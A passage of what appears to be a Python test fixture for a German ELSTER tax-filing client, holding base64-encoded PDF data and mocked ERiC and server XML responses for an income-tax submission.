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",
"eric_response": "<?xml version=\"1.0\" ?>\n<EricBearbeiteVorgang xmlns=\"http://www.elster.de/EricXML/1.0/EricBearbeiteVorgang\">\n \n\t\n <Erfolg>\n \n\t\t\n <Telenummer>EDJ</Telenummer>\n \n\t\n </Erfolg>\n \n\n</EricBearbeiteVorgang>\n",
"server_response": "<?xml version=\"1.0\" ?>\n<Elster xmlns=\"http://www.elster.de/elsterxml/schema/v11\">\n <TransferHeader version=\"11\">\n <Verfahren>ElsterErklaerung</Verfahren>\n <DatenArt>ESt</DatenArt>\n <Vorgang>send-Auth</Vorgang>\n <TransferTicket>et036422myggf53jxax8uy92dmvkete8</TransferTicket>\n <Testmerker>700000004</Testmerker>\n <Empfaenger id=\"L\">\n <Ziel>BY</Ziel>\n </Empfaenger>\n <HerstellerID>74931</HerstellerID>\n <DatenLieferant>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAj/+g5OKVYn7aCA\nBCguKhpqGRSbN6vtZxZIeR+1MtyAS4q+BcPXb/MpGykjQeOarebvRyynAAAAAAAAAAAAAA==\n</DatenLieferant>\n <EingangsDatum>20210205093700</EingangsDatum>\n <Datei>\n <Verschluesselung>CMSEncryptedData</Verschluesselung>\n <Kompression>GZIP</Kompression>\n <TransportSchluessel>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAghtUn/FSBKxaCA\nBBg+pdzZNZgnU9zegwn8OVJcvV2ye7gr6ZAAAAAAAAAAAAAA\n</TransportSchluessel>\n </Datei>\n <RC>\n <Rueckgabe>\n <Code>0</Code>\n <Text>Daten wurden erfolgreich angenommen.</Text>\n </Rueckgabe>\n <Stack>\n <Code/>\n <Text/>\n </Stack>\n </RC>\n <VersionClient>1</VersionClient>\n </TransferHeader>\n <DatenTeil/>\n</Elster>\n"
}
if keyword == 'est_without_responses':
return {
"transfer_ticket": "et036422myggf53jxax8uy92dmvkete8",
"pdf": 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